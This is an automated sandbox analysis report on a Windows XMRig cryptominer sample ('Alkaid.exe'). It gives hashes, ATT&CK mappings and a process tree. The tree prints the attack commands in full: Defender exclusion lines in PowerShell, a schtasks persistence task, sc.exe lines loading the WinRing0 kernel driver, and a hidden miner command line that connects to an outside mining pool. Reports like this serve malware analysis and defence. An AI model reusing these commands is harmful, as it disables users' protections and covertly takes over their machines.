xmrig | 3e029ec6feda667643596a708d40e3e659947a300e71168b93af093750948d7b

Analysis

user interaction
yes
max time kernel
149s
max time network
127s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/09/2026, 14:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Alkaid.exe
Size 3.0MB
Sample260930-rlgbea113r
SHA256 3e029ec6feda667643596a708d40e3e659947a300e71168b93af093750948d7b
MD5 d9998304d15e2e5067bf4762cb28012f
SHA1 f1e5b4d06f6d60265bd68f6e81e235e656a6bd39
SHA512 ec5f217ab9aff8831c97c387b63211ee1bbab8d16f46f5e95293150441ad615cd3dff46190f47ed6d84b8a7dc7879197f330204b8ba67276e6bb53ea99e1d883
SSDEEP 49152:vKSdX7joAedp40bA3kCBpKMQkgklTObQatOSVhw01zEtC74YgBh:BL4p40kUCbnSwC5thVhw01wtCMYgBh
TLSH
T10AE5230B73A71CBCC75B903682E7D7327432F45406216D7E6A4DCB7E6D748680F6AA24
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution xmrig miner persistence

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral2/memory/6060-94-0x0000000140000000-0x00000001408EE000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5576	powershell.exe
3412	powershell.exe
4580	powershell.exe
3264	powershell.exe
2744	powershell.exe
3160	powershell.exe
1092	powershell.exe
4248	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
4324	services64.exe
5796	sihost64.exe
720	services64.exe
3052	sihost64.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Enumerates connected drives 3 TTPs 8 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Drops file in System32 directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Microsoft\Libs\WinRing0x64.sys	conhost.exe
File opened for modification	C:\Windows\system32\Microsoft\Libs\WR64.sys	conhost.exe
File created	C:\Windows\system32\services64.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\sihost64.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\WinRing0x64.sys	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\WR64.sys	conhost.exe
File opened for modification	C:\Windows\system32\services64.exe	conhost.exe
File opened for modification	C:\Windows\system32\Microsoft\Libs\sihost64.exe	conhost.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4056 set thread context of 6060	4056	conhost.exe	119
PID 1108 set thread context of 5832	1108	conhost.exe	140

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2692	sc.exe
4376	sc.exe
2432	sc.exe
1804	sc.exe
2552	sc.exe
5456	sc.exe
4084	sc.exe
6008	sc.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3456	cmd.exe
3912	cmd.exe
2588	cmd.exe
1920	cmd.exe
2152	cmd.exe
1312	cmd.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3928	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1952	conhost.exe
4248	powershell.exe
4248	powershell.exe
4248	powershell.exe
5576	powershell.exe
5576	powershell.exe
5576	powershell.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
4056	conhost.exe
4056	conhost.exe
4056	conhost.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
4580	powershell.exe
4580	powershell.exe
4580	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1952	conhost.exe
Token: SeDebugPrivilege	4248	powershell.exe
Token: SeIncreaseQuotaPrivilege	4248	powershell.exe
Token: SeSecurityPrivilege	4248	powershell.exe
Token: SeTakeOwnershipPrivilege	4248	powershell.exe
Token: SeLoadDriverPrivilege	4248	powershell.exe
Token: SeSystemProfilePrivilege	4248	powershell.exe
Token: SeSystemtimePrivilege	4248	powershell.exe
Token: SeProfSingleProcessPrivilege	4248	powershell.exe
Token: SeIncBasePriorityPrivilege	4248	powershell.exe
Token: SeCreatePagefilePrivilege	4248	powershell.exe
Token: SeBackupPrivilege	4248	powershell.exe
Token: SeRestorePrivilege	4248	powershell.exe
Token: SeShutdownPrivilege	4248	powershell.exe
Token: SeDebugPrivilege	4248	powershell.exe
Token: SeSystemEnvironmentPrivilege	4248	powershell.exe
Token: SeRemoteShutdownPrivilege	4248	powershell.exe
Token: SeUndockPrivilege	4248	powershell.exe
Token: SeManageVolumePrivilege	4248	powershell.exe
Token: 33	4248	powershell.exe
Token: 34	4248	powershell.exe
Token: 35	4248	powershell.exe
Token: 36	4248	powershell.exe
Token: SeDebugPrivilege	5576	powershell.exe
Token: SeIncreaseQuotaPrivilege	5576	powershell.exe
Token: SeSecurityPrivilege	5576	powershell.exe
Token: SeTakeOwnershipPrivilege	5576	powershell.exe
Token: SeLoadDriverPrivilege	5576	powershell.exe
Token: SeSystemProfilePrivilege	5576	powershell.exe
Token: SeSystemtimePrivilege	5576	powershell.exe
Token: SeProfSingleProcessPrivilege	5576	powershell.exe
Token: SeIncBasePriorityPrivilege	5576	powershell.exe
Token: SeCreatePagefilePrivilege	5576	powershell.exe
Token: SeBackupPrivilege	5576	powershell.exe
Token: SeRestorePrivilege	5576	powershell.exe
Token: SeShutdownPrivilege	5576	powershell.exe
Token: SeDebugPrivilege	5576	powershell.exe
Token: SeSystemEnvironmentPrivilege	5576	powershell.exe
Token: SeRemoteShutdownPrivilege	5576	powershell.exe
Token: SeUndockPrivilege	5576	powershell.exe
Token: SeManageVolumePrivilege	5576	powershell.exe
Token: 33	5576	powershell.exe
Token: 34	5576	powershell.exe
Token: 35	5576	powershell.exe
Token: 36	5576	powershell.exe
Token: SeDebugPrivilege	3808	taskmgr.exe
Token: SeSystemProfilePrivilege	3808	taskmgr.exe
Token: SeCreateGlobalPrivilege	3808	taskmgr.exe
Token: 33	3808	taskmgr.exe
Token: SeIncBasePriorityPrivilege	3808	taskmgr.exe
Token: SeDebugPrivilege	4056	conhost.exe
Token: SeDebugPrivilege	3412	powershell.exe
Token: SeIncreaseQuotaPrivilege	3412	powershell.exe
Token: SeSecurityPrivilege	3412	powershell.exe
Token: SeTakeOwnershipPrivilege	3412	powershell.exe
Token: SeLoadDriverPrivilege	3412	powershell.exe
Token: SeSystemProfilePrivilege	3412	powershell.exe
Token: SeSystemtimePrivilege	3412	powershell.exe
Token: SeProfSingleProcessPrivilege	3412	powershell.exe
Token: SeIncBasePriorityPrivilege	3412	powershell.exe
Token: SeCreatePagefilePrivilege	3412	powershell.exe
Token: SeBackupPrivilege	3412	powershell.exe
Token: SeRestorePrivilege	3412	powershell.exe
Token: SeShutdownPrivilege	3412	powershell.exe

Suspicious use of FindShellTrayWindow 43 IoCs

pid	Process
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe

Suspicious use of SendNotifyMessage 43 IoCs

pid	Process
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe
3808	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3808	taskmgr.exe

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 628 wrote to memory of 1952	628	Alkaid.exe	89
PID 628 wrote to memory of 1952	628	Alkaid.exe	89
PID 1952 wrote to memory of 2588	1952	conhost.exe	90
PID 2588 wrote to memory of 4248	2588	cmd.exe	92
PID 2588 wrote to memory of 5576	2588	cmd.exe	95
PID 1952 wrote to memory of 1920	1952	conhost.exe	96
PID 1920 wrote to memory of 3928	1920	cmd.exe	98
PID 1952 wrote to memory of 2152	1952	conhost.exe	102
PID 2152 wrote to memory of 4324	2152	cmd.exe	104
PID 4324 wrote to memory of 4056	4324	services64.exe	106
PID 4324 wrote to memory of 4056	4324	services64.exe	106
PID 4056 wrote to memory of 1312	4056	conhost.exe	107
PID 1312 wrote to memory of 3412	1312	cmd.exe	109
PID 4056 wrote to memory of 5796	4056	conhost.exe	110
PID 4056 wrote to memory of 5456	4056	conhost.exe	111
PID 4056 wrote to memory of 4084	4056	conhost.exe	113
PID 4056 wrote to memory of 6008	4056	conhost.exe	115
PID 4056 wrote to memory of 2692	4056	conhost.exe	117
PID 4056 wrote to memory of 6060	4056	conhost.exe	119
PID 4056 wrote to memory of 6060	4056	conhost.exe	119
PID 4056 wrote to memory of 6060	4056	conhost.exe	119
PID 4056 wrote to memory of 6060	4056	conhost.exe	119
PID 4056 wrote to memory of 6060	4056	conhost.exe	119
PID 4056 wrote to memory of 6060	4056	conhost.exe	119
PID 4056 wrote to memory of 6060	4056	conhost.exe	119
PID 4056 wrote to memory of 6060	4056	conhost.exe	119
PID 4056 wrote to memory of 6060	4056	conhost.exe	119
PID 4056 wrote to memory of 6060	4056	conhost.exe	119
PID 4056 wrote to memory of 6060	4056	conhost.exe	119
PID 4056 wrote to memory of 6060	4056	conhost.exe	119
PID 1312 wrote to memory of 4580	1312	cmd.exe	120
PID 5796 wrote to memory of 2632	5796	sihost64.exe	121
PID 5796 wrote to memory of 2632	5796	sihost64.exe	121
PID 2632 wrote to memory of 3456	2632	conhost.exe	122
PID 3456 wrote to memory of 3264	3456	cmd.exe	124
PID 2632 wrote to memory of 720	2632	conhost.exe	125
PID 3456 wrote to memory of 2744	3456	cmd.exe	126
PID 720 wrote to memory of 1108	720	services64.exe	127
PID 720 wrote to memory of 1108	720	services64.exe	127
PID 1108 wrote to memory of 3912	1108	conhost.exe	128
PID 3912 wrote to memory of 3160	3912	cmd.exe	130
PID 1108 wrote to memory of 3052	1108	conhost.exe	131
PID 1108 wrote to memory of 4376	1108	conhost.exe	132
PID 1108 wrote to memory of 2432	1108	conhost.exe	134
PID 1108 wrote to memory of 1804	1108	conhost.exe	136
PID 1108 wrote to memory of 2552	1108	conhost.exe	138
PID 1108 wrote to memory of 5832	1108	conhost.exe	140
PID 1108 wrote to memory of 5832	1108	conhost.exe	140
PID 1108 wrote to memory of 5832	1108	conhost.exe	140
PID 1108 wrote to memory of 5832	1108	conhost.exe	140
PID 1108 wrote to memory of 5832	1108	conhost.exe	140
PID 1108 wrote to memory of 5832	1108	conhost.exe	140
PID 1108 wrote to memory of 5832	1108	conhost.exe	140
PID 1108 wrote to memory of 5832	1108	conhost.exe	140
PID 1108 wrote to memory of 5832	1108	conhost.exe	140
PID 1108 wrote to memory of 5832	1108	conhost.exe	140
PID 3912 wrote to memory of 1092	3912	cmd.exe	141
PID 1108 wrote to memory of 5832	1108	conhost.exe	140
PID 1108 wrote to memory of 5832	1108	conhost.exe	140
PID 3052 wrote to memory of 2524	3052	sihost64.exe	142
PID 3052 wrote to memory of 2524	3052	sihost64.exe	142

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Alkaid.exe
"C:\Users\Admin\AppData\Local\Temp\Alkaid.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:628
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Alkaid.exe"
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1952
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2588
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5576
- - C:\Windows\System32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1920
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3928
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c "C:\Windows\system32\services64.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2152
  - - C:\Windows\system32\services64.exe
      C:\Windows\system32\services64.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4324
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Windows\system32\services64.exe"
        5⤵
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4056
      - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1312
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Enumerates connected drives
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3412
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Enumerates connected drives
        Suspicious behavior: EnumeratesProcesses
        
        PID:4580
      - C:\Windows\system32\Microsoft\Libs\sihost64.exe
        
        "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5796
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        7⤵
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2632
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        8⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3456
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Enumerates connected drives
        
        PID:3264
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Enumerates connected drives
        
        PID:2744
        
        C:\Windows\system32\services64.exe
        
        "C:\Windows\system32\services64.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:720
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Windows\system32\services64.exe"
        9⤵
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:1108
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        10⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3912
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        11⤵
        Command and Scripting Interpreter: PowerShell
        Enumerates connected drives
        
        PID:3160
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        11⤵
        Command and Scripting Interpreter: PowerShell
        Enumerates connected drives
        
        PID:1092
        
        C:\Windows\system32\Microsoft\Libs\sihost64.exe
        
        "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
        10⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3052
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        11⤵
        
        PID:2524
        
        C:\Windows\System32\sc.exe
        
        "sc" stop WinRing0_1_2_0
        10⤵
        Launches sc.exe
        
        PID:4376
        
        C:\Windows\System32\sc.exe
        
        "sc" delete WinRing0_1_2_0
        10⤵
        Launches sc.exe
        
        PID:2432
        
        C:\Windows\System32\sc.exe
        
        "sc" create WinRing0_1_2_0 type= kernel start= demand binPath= "C:\Windows\system32\Microsoft\Libs\WinRing0x64.sys"
        10⤵
        Launches sc.exe
        
        PID:1804
        
        C:\Windows\System32\sc.exe
        
        "sc" start WinRing0_1_2_0
        10⤵
        Launches sc.exe
        
        PID:2552
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --donate-level=0 --algo="rx/0" --asm=auto --randomx-mode=auto --cpu-memory-pool=1 --cpu-no-yield --randomx-wrmsr --huge-pages-jit --url=95.81.100.209:3344 --user=main --pass= --cpu-max-threads-hint=50 --cinit-stealth-targets="Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe" --cinit-idle-wait=3 --cinit-idle-cpu=100 --nicehash --tls --cinit-stealth --cinit-no-sleep --cinit-fullscreen
        10⤵
        
        PID:5832
      - C:\Windows\System32\sc.exe
        
        "sc" stop WinRing0_1_2_0
        6⤵
        Launches sc.exe
        
        PID:5456
      - C:\Windows\System32\sc.exe
        
        "sc" delete WinRing0_1_2_0
        6⤵
        Launches sc.exe
        
        PID:4084
      - C:\Windows\System32\sc.exe
        
        "sc" create WinRing0_1_2_0 type= kernel start= demand binPath= "C:\Windows\system32\Microsoft\Libs\WinRing0x64.sys"
        6⤵
        Launches sc.exe
        
        PID:6008
      - C:\Windows\System32\sc.exe
        
        "sc" start WinRing0_1_2_0
        6⤵
        Launches sc.exe
        
        PID:2692
      - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --donate-level=0 --algo="rx/0" --asm=auto --randomx-mode=auto --cpu-memory-pool=1 --cpu-no-yield --randomx-wrmsr --huge-pages-jit --url=95.81.100.209:3344 --user=main --pass= --cpu-max-threads-hint=50 --cinit-stealth-targets="Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe" --cinit-idle-wait=3 --cinit-idle-cpu=100 --nicehash --tls --cinit-stealth --cinit-no-sleep --cinit-fullscreen
        6⤵
        
        PID:6060

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:3808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5072

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489